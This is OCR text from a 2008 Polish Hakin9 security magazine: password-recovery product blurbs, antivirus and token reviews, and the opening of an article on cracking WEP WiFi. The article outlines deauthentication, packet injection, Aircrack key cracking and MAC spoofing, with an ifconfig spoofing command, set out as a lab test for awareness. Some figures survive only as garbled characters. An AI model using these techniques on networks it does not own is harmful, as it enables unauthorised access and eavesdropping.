lub mobilny komunikator Windows, mogą
być trudne do odzyskania bez programu
Advanced Mailbox Password Recovery, ale z
nim ich odzyskanie nie może być łatwiejsze.

Wystarczy zastąpić serwer POP3/

IMAP na urządzeniu mobilnym adresem
emulatora serwera POP3/IMAP, a
Advanced Mailbox Password Recovery
przechwyci i wyświetli hasło w chwili,
kiedy urządzenie mobilne będzie łączyć
się z serwerem, aby pobrać nowe
wiadomości.

Natychmiastowe odzyskiwanie

Przy pomocy Advanced Mailbox Password
Recovery można zobaczyć wszystkie
hasła do poczty elektronicznej naraz!

Advanced Mailbox Password Recovery

skanuje system i odzyskuje wszystkie
rodzaje haseł stosowanych dla klientów
poczty w zaledwie kilka sekund.

Hasła do zawierających błędy
skrzynek poczty elektronicznej

W trybie ręcznym Advanced Mailbox
Password Recovery odzyskuje hasła do
zawierających błędy baz danych e-mail
i może pracować nawet wtedy, gdy klient
poczty jest odinstalowany.

Produkt nie może być wykorzystany do

odczytywania haseł innych osób.

ADVANCED ACT PASSWORD

RECOVERY

Natychmiastowe odzyskiwanie
haseł do dokumentów ACT

Natychmiastowe odzyskiwanie zagubionych
lub zapomnianych haseł chroniących pliki
BLB, MUD i ADF/PAD utworzonych w ACT!.

Oprogramowanie do lokalnego i

zdalnego zarządzania informacjami
osobistymi wyprodukowane przez

Symantec, Best Software oraz Sage.
Advanced ACT Password Recovery
obsługuje wszystkie wersje ACT!, łącznie z
ostatnią – 2008.

Nie ma konieczności instalowania

Advanced ACT Password Recovery
na serwerze, aby odzyskać hasło.
Dysponujemy możliwością otwierania
chronionych hasłem baz danych z
jakiegokolwiek komputera w sieci, który
ma zdalny dostęp do bazy danych.
Jako dodatkowy bonus, Advanced
ACT Password Recovery umożliwia
zmianę funkcji ochrony użytkowników
baz danych ACT!, np. zamiana konta
użytkownika z Ograniczonego na konto
Administratora.

Bezpośrednia kontrola

zablokowanych dokumentów w różnych
formatach zestawu ACT! – nieważne, jak
długie i złożone jest hasło. Advanced
ACT Password Recovery odzyskuje
wszystkie hasła natychmiastowo bez
długich ataków i zaawansowanych
ustawień.

Wystarczy aktywować Advanced ACT

Password Recovery i kliknąć Open, aby
natychmiast zobaczyć lub ponownie
ustawić hasło.

Advanced ACT Password Recovery

odzyskuje hasła chroniące dokumenty
zapisane w każdej wersji Symantec, Best
Software oraz w wersjach Sage ACT!
łącznie z najnowszą wersją ACT! 2008.
Właściwości i korzyści:

• gwarancja odzyskiwania haseł do

dokumentów ACT! utworzonych w
wersjach powstałych do roku 2005,

• gwarancja ponownego ustawiania

haseł do dokumentów ACT!
utworzonych w wersjach powstałych w
roku 2005 i kolejnych,

• obsługuje wszystkie wersje ACT!

wyprodukowane przez Symantec, Best
Software oraz Sage, włączając ACT!
2008,

• odzyskuje hasła we wszystkich językach

i kodowaniach,

• odzyskuje hasła na komputerach

lokalnych i zdalnych,

• zmienia funkcje bezpieczeństwa

użytkowników baz danych ACT!,
np. zmienia konto użytkownika
z Ograniczonego na konto
Administratora.

Gwarancja dostępu
do chronionych dokumentów ACT!

Advanced ACT Password Recovery
gwarantuje odblokowywanie chronionych
hasłem dokumentów ACT!, niezależnie od
tego, jak rygorystyczna jest polityka firmy w
dziedzinie zabezpieczeń.

Długie, złożone lub międzynarodowe

hasła są również odzyskiwane przez
Advanced ACT Password Recovery bardzo
szybko.

ESCAN ANTIVIRUS

Program antywirusowy eScan jest
narzędziem zabezpieczającym przed
wirusami, trojanami, robakami i innym
zagrożeniami, które znajdują się w
Internecie. Jest oparty na technologii
MicroWorld Winsock Layer (MWL). MWL
tworzy warstwę ochronną wokół systemu i
zabezpiecza go od momentu włączenia aż
do zamknięcia. Główne funkcje narzędzia:

• inteligentne wykrywanie wirusów,

możliwość usuwania w locie,

• zapewnia kontrolę rodzicielską,
• chroni przed spamem, blokuje

potencjalnie zagrażające maile i
załączniki,

• posiada heurystyczny silnik skanujący;
• Prawa plików: zapobiega zdalnemu

tworzeniu i modyfikacji plików na
lokalnym komputerze,

• pakiet narzędziowy MWAV: (MicroWorld

AntiVirus).

NA CD

background image

12

NARZĘDZIA

HAKIN9 9/2008

13

HAKIN9

9/2008

Instalacja jest wyjątkowo szybka
i bezproblemowa. Nie musimy
podczas niej konfigurować nowego

oprogramowania, a jedyną opcją, z której warto
skorzystać, jest zabezpieczenie dostępu do
ustawień oprogramowania hasłem. Jej użycie
można zarekomendować zwłaszcza rodzicom,
chcącym ograniczyć i kontrolować internetowe
wybryki swoich pociech, a także administratorom
firmowych sieci, dbającym o bezpieczeństwo
pracowników swych firm.

Po zainstalowaniu przyjdzie kolej na aktywację

oprogramowania – nie wystarczy tu podanie
numeru seryjnego znajdującego się w pudełku.
Trzeba będzie się zarejestrować, a dopiero
pomyślne przejście tego procesu da nam dostęp
do nazwy użytkownika i hasła, dzięki którym w pełni
aktywujemy oprogramowanie. Od teraz cały pakiet
dba o nasz komputer. Do pełni bezpieczeństwa
trzeba jeszcze tylko dokonać aktualizacji i pełnego
skanowania systemu.

Główne okno programu jest przejrzyste i daje

dostęp do poszczególnych opcji poprzez system
zakładek. Pierwsza zakładka – Status – prezentuje
informacje o uruchomionych modułach i dacie
ostatniej aktualizacji bazy definicji wirusów.
Kolejna zakładka to AntiVirus. Pozwala ona
zakutalizować program na żądanie (proces ten
może się odbywać automatycznie), przeskanować
cały system bądź też jego wybrany fragment.
Tutaj też można przejrzeć pliki znajdujące się w
kwarantannie i zmienić ustawienia antywirusa – w
tym zaplanować okresowe skanowania systemu.

Do zarządzania firewallem autorzy programu

udostępnili nam osobny zestaw opcji w
zakładce – jakżeby inaczej – Firewall. Mamy
możliwość określania reguł dla aplikacji, portów
i sieci, z jakimi jesteśmy połączeni. Dla mniej
zaawansowanych użytkowników powstał tryb
autopilota, podejmujący za nich większość decyzji.
AntiSpam to zakładka filtrująca spam, ale także
niebezpieczne skrypty ukryte w treści HTML oraz
neutralizująca niebezpieczne załączniki. Możemy
też tu podejrzeć statystki działania modułu i rejestr
aktywności.

Bardzo przydatna jest opcja chroniąca nasze

działania w Internecie. Moduł odpowiedzialny
za tę funkcjonalność nosi nazwę WebFilter, a

zakładka o tej samej nazwie umożliwia m.in.
konfigurację ustawień tej dziedziny ochrony
oraz kontrolę operacji czyszczenia prywatnych
danych użytkownika, które mogą wyciec podczas
surfowania po Internecie. WebFilter troszczy się o
to, abyśmy nie padli ofiarą ataku phishingowego.
Blokowanie reklam, uciążliwych popupów oraz
niebezpiecznych skryptów wszelkiej maści
to kolejne możliwości tego modułu. WebFilter
potrafi się nawet zintegrować z przeglądarką, w
której pojawia się pasek, umożliwiający szybkie
włączenie bądź wyłączenie części funkcjonalności
programu, a także dodanie odwiedzanej strony do
listy zaufanych witryn.

Kontrola rodzicielska pozwala na definiowanie

treści dozwolonych i niedozwolonych oraz na
kontrolowanie czasu dostępu do komputera do
Internetu. Narzędzie to może być równie dobrze
wykorzystywane przez administratorów sieci
firmowych do ograniczania zbytniej swobody
działania pracowników.

Wyjątkową funkcją pakietu jest tuning.

Umożliwia on poprawienie bezpieczeństwa i
wydajności komputera oraz zapewnia ochronę
danych użytkowników komputera. Warto tu
wymienić choćby kilka dostępnych ustawień,
takich jak: włączenie skanowania ściągniętych
z Internetu plików, wyłączenie uruchamiania
skryptów, defragmentacja dysków, uaktywnienie
trybu DMA, usuwanie historii przeglądanych stron
itd. Jeszcze jedną ciekawą – i niespotykaną w
innych pakietach bezpieczeństwa – opcją jest
moduł backupu. Backup można wykonać na
płycie, na innym dysku bądź na koncie FTP. Wraz
z pakietem dostajemy 1 GB miejsca na serwerze
FTP, ale oczywiście za dopłatą można tę ilość
zwiększyć. Oczywiście można usuwać stare
kopie, aby zrobić miejsce dla nowych. Backup
można planować tak, aby odbywał się cyklicznie.
Jak większość modułów, i ten oferuje dostęp do
raportów swojej aktywności.

GDATA TotalCare oferuje kompleksowe

bezpieczeństwo – nawet dziś, kiedy atak
może przyjść z każdej strony. Innowacyjne
funkcje backupu i tuningu sprawiają, że ten
pakiet wyróżnia się na rynku i jest ciekawą
propozycją dla użytkowników dbających o swoje
bezpieczeństwo.

GDATA TotalCare

Producent

GDATA

System

MS Windows

Typ

Pakiet zabezpieczający

Strona producenta

http://www.gdata.pl

««««

«

OCENA

background image

12

NARZĘDZIA

HAKIN9 9/2008

13

HAKIN9

9/2008

To urządzenie pozwala na
przechowywanie hasła – tokenu.
Prezentowana dziś wersja jest inteligentną

kartą kryptograficzną. Zakupując ją otrzymamy
dodatkowo płytę z aplikacjami: MS_NetLogOn,
TMS2SSO3com, PKI_Client (ver: Mac, Linux, Win)
etsso30, etssote30, TMS_client_2.0, TMS_Schema_
Instal_2.0, TMS_Server_2.0, WSO_1_5.

Taką kartę możemy wykorzystać do

przechowywania kluczy dostępowych do systemu
operacyjnego, bankowości elektronicznej oraz
ochrony elektronicznych aplikacji biznesowych.

Sam e-Token pracuje na 1024 i 2048-bitowych

kluczach RSA, pozwala także na wewnętrzne
generowanie kluczy prywatnych i publicznych.
Inteligentne karty dają możliwość logowania się
do stacji roboczej i sieci bez podawania hasła.
W zależności od ustawień e-Token zapewnia
dwustopniową autoryzację dostępu (klucz e-Token
+ hasło), jednak oprogramowanie pozwala nam
przełączyć się w tryb autoryzacji jednopoziomowej
(klucz e-Token); nie wymaga zastosowania
dodatkowego czytnika.

e-Token to urządzenie w wersji z dwoma

rozmiarami pamięci zapisu i odczytu: 32 kB i
64 kB (Java Virtual Machine 72k). Pamięć jest
chroniona hasłem, które jest przechowywane w
pamięci w postaci zakodowanej: 16-bajtowego
kodu (PIN). Inne dane także nie są bezpośrednio
transmitowane do klucza – w tym celu zostaje
wykorzystuje się protokół challenge-response, przy
każdym dostępie zmieniając klucz szyfrujący. Dzięki
temu, że wykorzystywany jest standardowy interfejs
USB, używanie klucza staje się niezwykle łatwe.

Wśród programów znajdujących się na płycie

CD znajduje się między innymi MS_NetLogOn, który
pozwala nam na zalogowanie się do komputera
bez podawania hasła. Sama instalacja programu
jest bardzo prosta – wystarczy uruchomić instalator
i konsekwentnie klikać Dalej. Następnym krokiem
jest ponowne uruchomienie komputera. Pierwsza
różnica, jaka daje się zauważyć, to zmiana sposobu
logowania – ponieważ na razie nie jest zainicjowany
żaden e-token, wybieramy logowanie standardowe
i wpisujemy hasło. Następnie przystępujemy do
instalacji urządzenia: wpinamy e-Token w port USB
i klikamy nową ikonę z tacki systemowej (tray). W
zakładce Narzędzia mamy dostęp do wszystkich

urządzeń e-Token podłączonych do komputera.
Z podstawowych operacji mamy możliwość
zmiany nazwy naszej inteligentnej karty szyfrującej
i przejrzenia informacji o niej. Jednak dopiero
zakładka Zaawansowane otwiera nam prawdziwe
pole do popisu. Wybieramy nasz świeżo wpięty
e-Token, następnie klikamy Inicjuj e-Token. Otwiera
się okno parametrów inicjalizacyjnych, w którym
decydujemy o nazwie urządzenia oraz haśle dla
użytkownika oraz administratora. Wykorzystując
opcje zaawansowane wybieramy także: tryb
kompatybilności, opcję Zapisz politykę haseł na
e-Token, tryb FIPS, pojedyncze logowanie, Wsparcie
dla 2048-bitowych kluczy RSA czy Wsparcie dla
HMAC SHA1 itd. Konfigurujemy inteligentną kartę
według własnych potrzeb. Teraz zrobimy test:
wylogowujemy aktualnego użytkownika i wkładamy
e-Token Pro. System rozpoczyna logowanie, do
którego jest potrzebny klucz e-Token – powinien
on zostać ustawiony podczas wcześniejszej
konfiguracji. Jeśli tego nie zrobiliśmy, przybiera on
standardową wartość 1234567890.

e-Token jest bardzo ciekawym urządzeniem,

pozwalającym nam na ograniczenie liczby
haseł, które musimy zapamiętać – wystarczy raz
podać hasło do klucza, np. podczas logowania
się do systemu. Wszystkie pozostałe hasła
są przechowywane na inteligentnej karcie
kryptograficznej, która zapewnia im bezpieczeństwo
dzięki przechowywaniu ich w postaci zakodowanej.

Jak zintegrować e-Token z Firefoksem? Nie

jest to trudne, gdyż instalator od razu umieścił w
naszym komputerze wszystkie potrzebne pliki.
Dodawanie obsługi karty inteligentnej rozpoczynamy
od uruchomienia Firefoksa. Konfigurację
przeglądarki zaczynamy od menu Narzędzia, gdzie
wybieramy opcje programu, następnie zakładkę
Zaawansowane i potem Szyfrowanie. Interesująca
nas opcją to Urządzenia zabezpieczające. Po prawej
stronie na liście rozwijalnej widzimy zainstalowany
e-Token. Zaznaczamy go i odczytujemy listę
parametrów, a następnie wybieramy Włącz
FIPS. Dzięki ustawieniu funkcji hasła głównego w
karcie szyfrującej, e-Token powinien teraz zacząć
przechowywać hasła wpisywane w newralgicznych
miejscach podczas surfowania w sieci Internet.
Przez aplikację e-Token Properties importujemy
także certyfikaty do urządzenia.

Producent

Aladdin

System

Windows 98/98SE/Me/
2000/XP oraz NT4.0 SP6
i nowsze

Strona dystrybutora

http://www.clico.pl

e-Token – Pro

(CardOS 4.2B)

«««««

OCENA

NARZĘDZIA

background image

14

NARZĘDZIA

HAKIN9 9/2008

Wirusy stanowią codzienny problem
użytkowników komputerów. System
jest na nie narażony dosłownie

od momentu włączenia. Ryzyko spotkania
z szalejącym w sieci wirusem wzrasta,
jeśli za pośrednictwem internetu lub sieci
lokalnej pobierane są pliki. W tej sytuacji
użytkownicy, którzy z różnych powodów zależni
są od technologii informatycznych i sprzętu
komputerowego, chcieliby mieć do dyspozycji
zestaw narzędzi, który sam zajmie się
tropieniem wirusów w systemie, a im pozwoli
spać spokojnie. Najlepiej, jeśli nie tylko znajdą
wirusa, ale również przeprowadzą kwarantannę
i utworzą loga z zapisem całości procesu
skanowania.

Szybki start : Instalacja jest bardzo prosta,

ponieważ w znacznym stopniu przypomina
proces instalowania oprogramowania
windowsowego. Należy do rodzaju Zaznacz-
I-Kliknij i wszystko inne zrobi za użytkownika.
Rysunek 1 pokazuje panel administracyjny
narzędzia eSkan. Wyposażony jest on w
bardzo proste i eleganckie rozwiązania
dostosowane do każdego rodzaju użytkownika.
Program może pracować według ustalonego
harmonogramu i na różnych poziomach
czynnej ochrony.

Użytkownik może wybrać dysk do

skanowania z okna na życzenie i kliknąć
„skanuj”. Po zakończeniu skanowania zostanie
utworzona lista niepożądanych programów
i w tym samym czasie przedstawiona
użytkownikowi, aby mógł się zapoznać z
wirusami znalezionymi w systemie. Rysunek 2
przedstawia okno skanowania pojawiające się
w momencie rozpoczęcia skanowania. eScan
jest regularnie aktualizowany, a uruchomienie
automatycznego sprawdzenia dostępności
aktualizacji jest bardzo proste i robi wszystko za
użytkownika.

Zalety

Instalacja, skanowanie, aktualizacja i
wybieranie trybu są szybkie i proste. Instrukcja
obsługi jest dobrze zorganizowana na
wypadek „utknięcia” w dowolnym miejscu
w czasie użytkowania programu. Logi

uwzględniają każdy szczegół skanowania, co
pozwala nawet początkującym użytkownikom
łatwo zrozumieć zainfekowany plik. Również
aktualizacje są częste.

Wady

Ogólnie rzecz biorąc, programy antywirusowe
zawsze będą miały swoje ograniczenia. Będą
rozpoznawały jedynie sygnatury złośliwych
programów znanych specjalistom od
bezpieczeństwa pracującym dla producenta
danego produktu. Z tego powodu programy
antywirusowe nie są w stanie rozpoznawać
wirusów, których sygnatur nie znają. Jest
to najpoważniejsza wada wszelkiego tego
typu oprogramowania. Poza nią, w czasie
użytkowania produktu nie zauważyłem żadnych
wad.

eScan

«««««

OCENA

Rysunek 1.

Panel administracyjny na życzenie

Rysunek 2.

Okno skanowania

System operacyjny

Windows

Licencja

Komercyjna

Aplikacja

eScan

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

16

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

17

ŁAMANIE WIFI

HAKIN9

9/2008

W dzisiejszym świecie ludzie używają różnorodnych mediów do porozumiewania się

ze sobą. Media te mają różne właściwości, co wpływa na zastosowanie w określonym

środowisku danego sposobu komunikacji. W XXI wieku najważniejsza jest informacja, a

właściwie szybkość jej przepływu. Kto posiada aktualne informacje, ten może wpływać

na otaczający Świat.

Łamanie WIFI

N

ie wyobrażamy sobie
współczesnego świata bez
Internetu. Wprawdzie Internet

w Polsce ma dopiero 16 lat, niemniej
na stałe zagościł w większości naszych
domów. Internetu używamy do czytania
poczty elektronicznej, przeglądania
najnowszych wiadomości z kraju czy ze
świata, do czatowania lub przelewania
pieniędzy z elektronicznych kont
bankowych. Należy pamiętać, że Internet
to nie tylko rozrywka, ale także narzędzie
pracy, sposób komunikacji i przesyłu
danych – przy czym dane te często są
poufne bądź też stanowią tajemnicę
przedsiębiorstwa.

Artykuł ten poświęcony będzie sieciom

WiFi, a więc sieciom bezprzewodowym
o stosunkowo małym zasięgu
(wynoszącym ok. 100 m), działającym w
nielicencjonowanym paśmie 2,4 GHz.

Bezprzewodowy Internet pozwala nam

cieszyć się nieskrępowanym korzystaniem
ze swych zasobów, ograniczonym
właściwie tylko zasięgiem sieci. Celem
tego artykułu jest uświadomienie
Czytelnikowi, jakie niebezpieczeństwa
mogą czyhać w sieciach WiFi oraz jak się
przed nimi bronić. Na wstępie Czytelnik
zaznajomiony będzie z podstawowymi
wiadomościami niezbędnymi do analizy
sieci WiFi. Zapraszam do lektury artykułu.

TEORIA

Sieci WiFi (z ang. Wireless Fidelity
bezprzewodowa wierność) to

standard bezprzewodowych sieci
komputerowych, w których jako medium
transmisyjne wykorzystuje się fale
elektromagnetyczne emitowane do
atmosfery ziemskiej. Sieci te mają
zwykle zasięg ok. 100 m w otwartej
przestrzeni i pracują w paśmie
częstotliwości od 2400 MHz do 2485
MHz.

Pasmo to nie jest objęte żadnymi

regulacjami, należy do grupy pasm
ISM (ang. Industrial, Scientist & Medical
przemysł, nauka i medycyna).

Sieć WiFi może być zbudowana w

jednej z 2 architektur:

• ad-hoc, czyli bez punktu dostępowego,

komunikacja odbywa się na zasadzie
„każdy z każdym”,

• z infrastrukturą, w której stacje klienckie

łączą się za pośrednictwem punktu
dostępowego AP.

O ile w sieciach ad-hoc stacje klienckie
przesyłają dane między sobą, o tyle w
sieciach z infrastrukturą istnieje punkt
dostępowy, który zapewnia dostęp do
zasobów sieci. Punkt dostępowy AP (ang.
Access Point) to urządzenie wyposażone
najczęściej w dwa interfejsy sieciowe:
kablowy Ethernet oraz bezprzewodowy
WLAN, z czego pierwszy służy do
połączenia AP z siecią przewodową, a
drugi zapewnia komunikację z sieciami
standardu IEEE 802.11. AP pełni więc
rolę mostu. Zdecydowanie częściej
będziemy mieć do czynienia z sieciami
z infrastrukturą, należy więc znać
podstawowe informacje dotyczące tego
rodzaju sieci.

Istnieje pewien specyficzny rodzaj

sieci WiFi, przeznaczonych do ogólnego
dostępu. Są to tzw. hotspoty. Są one często
spotykane w salach konferencyjnych,
hotelach czy bulwarach nadmorskich.

Listing 1.

Informacje o najważniejszych parametrach sieci WiFi

doctor

@doctor

-laptop:~

$

iwlist ath0 scanning

ath0 Scan completed :
Cell 01 - Address: 00:1B:11:4C:25:BD
ESSID:

"hakin9"

Mode:Master
Frequency:2.432 GHz

(

Channel 5

)

Quality=52/70 Signal level=-43 dBm Noise level=-95 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:bcn_int=100
Extra:wme_ie=dd070050f202000100

RAFAŁ LYSIK

background image

16

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

17

ŁAMANIE WIFI

HAKIN9

9/2008

Czasami ich funkcjonalność jest
ograniczona do przeglądania niektórych
stron WWW lub też jest limitowana
czasowo. Integralnym punktem hotspotu
jest oczywiście AP. Dostęp do tych sieci jest
otwarty.

Pora na analizę bezpieczeństwa

sieci bezprzewodowych. Każdy
użytkownik sieci WiFi musi mieć na
uwadze fakt, że medium transmisyjne
jest ogólnie dostępne i dowolna osoba,
wyposażona w odpowiedni sprzęt,
może podsłuchiwać transmisję w
takiej sieci. Dobrym porównaniem jest
tu sytuacja, w której korzystający z
internetu kablowego, a więc Ethernetu,
wyprowadza kabel ze swojego domu
na pobliski parking i wraca do domu
nie interesując się, czy ktoś może
podepnie się do owej sieci, czy też
nie. Tym porównaniem pokazuję, że w
sieciach bezprzewodowych konieczne
jest zastosowanie choćby najprostszej
formy szyfrowania pakietów – tak, aby
nasze dane nie były przesyłane w
czystej postaci. O ile bowiem dostęp
niepowołanych gości do sieci WiFi
można dość skutecznie ograniczyć, o
tyle małe są możliwości, aby do hakera
nie dotarł sygnał radiowy z naszej sieci.
Nie łudźmy się także małym zasięgiem
sieci WiFi. Jak pokazały testy [1], możliwe
jest przeprowadzenie transmisji w sieci
bezprzewodowej nawet na odległość
setek kilometrów! Jest to kwestia
odpowiednio czułych odbiorników oraz
anten kierunkowych o dużym zysku
energetycznym.

Reasumując, za bezpieczeństwo

sieci WiFi jest odpowiedzialny właśnie
Access Point, tj. mechanizmy i filtry
w nim zastosowane. Wiele urządzeń
sieciowych jest gotowych do pracy zaraz
po wypakowaniu. Jest to może i wygodne
rozwiązanie (choćby przez analogię
do Plug and Play), ale nie zaleca się
tworzenia sieci z hasłami dostępowymi
i konfiguracją ustawioną przez
producenta sprzętu. Zdarza się nawet, że
administrator nie zmienia domyślnego
hasła routera WiFi, nie wspominając o
pozostawieniu sieci bez włączonego
szyfrowania.

Obecnie ponad 70% sieci WiFi jest

zabezpieczonych, z czego zdecydowana
większość używa szyfrowania WEP.

Dowodzi to, że użytkownicy WiFi są
świadomi niebezpieczeństw i rozumieją
potrzebę zastosowania dodatkowych
środków bezpieczeństwa. Sytuacja ta jest
diametralnie różna od tej sprzed 5 lat,
gdzie tylko niewielki procent sieci WiFi miał
jakiekolwiek zabezpieczenia.

Przyjrzyjmy się teraz metodom

zabezpieczania sieci WiFi.

Administrator sieci zwykle zabezpiecza

sieć WiFi co najmniej jednym z poniższych
środków:

• szyfrowanie WEP,
• szyfrowanie WPA – WPA II,
• serwer autoryzacyjny Radius,
• wyłączenie rozgłaszania ESSID,
• filtrowanie adresów MAC,
• stosowanie tuneli VPN.

Omówmy pokrótce najczęściej stosowane
zabezpieczenia.

Szyfrowanie WEP (ang. Wired

Equivalent Privacy) – standard
szyfrowania wprowadzony w 1999 r. Ma
za zadanie chronić dane w warstwie
łącza danych. Oparty jest na popularnym
algorytmie strumieniowym RC4. Definiuje
klucze 40- lub 104-bitowe, do których
dołączany jest wektor inicjujący o
długości 24 bitów. Można znaleźć także
implementacje z kluczem o długości
232 bitów, jednak nie wpływa to w
znaczący sposób na siłę kryptograficzną
algorytmu. W efekcie klucz kodujący ma
odpowiednio długość 64 i 128 bitów.
Tym kluczem jest kodowana wiadomość
oraz jej suma kontrolna. Aby uniknąć

szyfrowania tym samym kluczem, stosuje
się zmienny wektor inicjujący.

KROK1

Działanie algorytmu jest następujące:

wiadomość jawna XOR strumień
szyfrujący = wiadomość zaszyfrowana

Słabość tego algorytmu wynika ze
słabości wektora inicjującego IV. Jak
widać z Rysunku 1, porównując dwa
pakiety szyfrowane z zastosowaniem
tego samego wektora inicjującego IV,
możliwe jest obliczenie klucza WEP.
Warto jeszcze dodać, że wektor inicjacji
IV przesyłany jest w czystej postaci. Dla
programu AirCrack potrzebna liczba
przechwyconych pakietów wynosi
150.000 dla WEP 64 oraz 500.000 dla
WEP 128, co przy bardzo obciążonej sieci
może trwać niecałe 30 minut. Dodatkowo,
aby szybciej zgromadzić odpowiednią
ilość pakietów, można wstrzykiwać
własne pakiety, czyli generować sztuczny
ruch.

Szyfrowanie WPA-PSK – standard ten

jest następcą WEP. WPA jest standardem
przejściowym między WEP a WPA II.
WPA korzysta z protokołów: TKIP oraz
uwierzytelnienia EAP. Część sprzętu nie
wspiera WPA, konieczna jest wtedy zmiana
firmware urządzenia.

Wyłączenie rozgłaszania ESSID

– warto wyłączyć rozgłaszanie
identyfikatora sieci, wiele sterowników
kart WiFi (choćby systemowy Windows)

Rysunek 1.

Działanie algorytmu WEP

��

�����

���

�����������

�������

�������������������������������

���

��

��

������

�����������

�������

������������

background image

18

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

19

ŁAMANIE WIFI

HAKIN9

9/2008

nie wykrywa sieci, które mają ukryte
ESSID. Tym sposobem można odebrać
chęć do poczynienia zniszczeń tzw.
script kiddies. Wysyłając do stacji
klienckiej ramkę deautentyfikacji
spowodujemy jej odłączenie. Klient
chcąc ponownie się połączyć, musi
podać identyfikator sieci, a to już można
przechwycić.

KROK2

Filtrowanie adresów MAC – w tę funkcję
wyposażony jest każdy dobry router.
Pozwala ona na dostęp do zasobów
sieci tylko tym klientom, których adres
MAC znajduje się na liście zapisanej w
pamięci routera. Jest to zabezpieczenie
proste do złamania, należy jedynie
przechwycić pakiety autoryzowanych
klientów, a następnie podszyć się pod
nich.

Aby zmienić adres sprzętowy MAC,

należy wpisać w konsoli:

#ifconfig <interface> hw ether <new

MAC>

Na tym etapie podamy cechy, jakie
musi spełniać sieć WiFi, aby była
zakwalifikowana jako bezpieczna. Te
cechy to:

• poufność – dane wysyłane przez

stacje klienckie z sieci WiFi powinny być
odczytane w oryginalnej postaci jedynie
przez adresata wiadomości,

• integralność – dane docierające

do odbiorcy wiadomości powinny
pozostać w niezmienionej postaci,

• wierzytelność – zapewnienie, że dane

pochodzą z wiarygodnego (zaufanego)
źródła.

W tym miejscu zastanówmy się, jakie mogą
być powody włamywania się do sieci WiFi.
Może to być:

• chęć korzystania z darmowego

Internetu,

• próba podsłuchania/wykradzenia

ważnych danych,

• próba sparaliżowania pracy całej

sieci,

• kontrolowane testy bezpieczeństwa,
• zabawa.

ATAK

Dla celów testowych stworzona została
sieć składająca się z 3 maszyn: punktu
dostępowego AP, stacji klienckiej, która
łączy się poprzez AP, oraz laptopa hakera,
na którym dokonuje się przechwytywania
pakietów oraz łamania zabezpieczeń sieci.

AP (i router w jednym) DIR-655 posiadał

włączone rozgłaszanie ESSID („hakin9”),
włączone szyfrowanie WEP 64, kanał pracy
został ustalony na 5. Klient Client 1 pobierał
dane z sieci strumieniowo, przy średnim
poziomie 50 kB/s.

Laptop hakera wraz z

zainstalowanym Linux Back Track
na pokładzie był wyposażony w
oprogramowanie AirCrack i Wireshark.
Karta WiFi na laptopie hakera pracowała
w trybie monitor.

KROK3

Schemat ataku

Najpierw atakujący przeprowadza
rozpoznanie sieci, a więc wykonuje
działania mające na celu zdobycie

Rysunek 3.

Schemat testowej sieci WiFi

��������

������

��������

���������

������������

Rysunek 2.

Funkcje konfiguracji sieci w routerze AP WiFi

background image

18

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

19

ŁAMANIE WIFI

HAKIN9

9/2008

informacji o sieciach pozostających w
zasięgu.

KROK4

Omówmy powyższy schemat ataku. Po
przeskanowaniu sieci (1) (skanerem
aktywnym lub pasywnym) wybieramy
cel ataku. Jeśli sieć ma ukryty SSID (2),
konieczne będzie rozłączenie klienta
przez wysłanie ramki deautentyfikacji.
Klient przy próbie ponownego
połączenia wyśle ESSID sieci, który
zostanie podsłuchany przy pomocy
sniffera.

Mając już ESSID sieci, przystępujemy

do zebrania odpowiedniej liczby pakietów
(3). Warto więc wybrać sieć, w której
przepływ danych jest odpowiednio duży.
Jeśli zbierzemy dostateczną ilość pakietów
z wektorami (3b) IV, możemy przystąpić do
łamania klucza WEP (program Aircrack).
Jeśli nie, sztucznie zwiększamy ruch w sieci
wstrzykując dodatkowe pakiety programem
Aireplay (3c). Mając złamany klucz WEP
(4), próbujemy podłączyć się do sieci (5).
Jeśli sieć ma włączone filtrowanie adresów
MAC, najpierw podglądamy snifferem
(6) (np. Wireshark) adresy MAC klientów
łączących się z AP. Po rozłączeniu klienta
zmieniamy nasz MAC na adres sprzętowy
klienta (7).

Jeśli dalej nie możemy podłączyć

się do sieci, nadajemy swojemu
komputerowi statyczny adres IP (8)
(uzyskany np. podczas sniffowania
pakietów). Po tych operacjach
powinniśmy uzyskać dostęp do sieci (9).

Całość ataku można podzielić na

etapy:

• wybór celu [1],
• zbieranie wektorów inicjujących IVS [2],
• łamanie klucza [3].

Ad. 1

Na początkowym etapie

przeprowadzamy skanowanie sieci, aby
zobaczyć, jakie sieci są w naszym zasięgu.
Możemy tu korzystać z różnych narzędzi,
najprostsze to iwlist (Listing 1).

Narzędzie wyświetla podstawowe

informacje o identyfikatorze sieci ESSID,
adresie MAC punktu dostępowego
BSSID, kanale pracy, poziomie sygnału

Rysunek 4.

Kolejne kroki ataku na sieć WiFi

��

�����������������
��������������

��������������������������������������

��������������

���

���

�����������������

�����������������

����

������������

������������
�������������

������

���

���

������������
�������������

��������

�����������

�����������

������

���

���

��������������

���������������

���������������

�������

�����������

��������������

���

���

������������

�������������

����������������

��������

��������������

��������������

����������������

����������

���

���

���������������

�������������

�����������������

����������������

����������

����������������

�������������������

�������������������������

���������������

���������������

������

���

����������

��������

�������

���

���������������

���������������

��������������

����������������������������������
�������������������

����������������������������������������������

�����������

��

background image

20

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

21

ŁAMANIE WIFI

HAKIN9

9/2008

oraz dozwolonych prędkościach
transmisji.

Mając te dane, przystępujemy do

wyboru celu – a więc interesującej nas
sieci.
Ad. 2

W tych działaniach przydatny będzie

pakiet Aircrack-ng. Składa się on z 3
programów:

• airodump – służy do wykrywania

sieci i przechwytywania pakietów,

• aircrack – służy do łamania klucza

WEP,

• aireplay – służy do wstrzykiwania

pakietów celem przyspieszenia
procesu łamania klucza.

Najpierw należy stworzyć nowy interfejs
logiczny pracujący w trybie monitor. Jest to
odpowiednik trybu promiscuous w sieciach
Ethernet.

Interfejs ten będzie stworzony na bazie

fizycznego interfejsu, w tym przypadku wifi0.

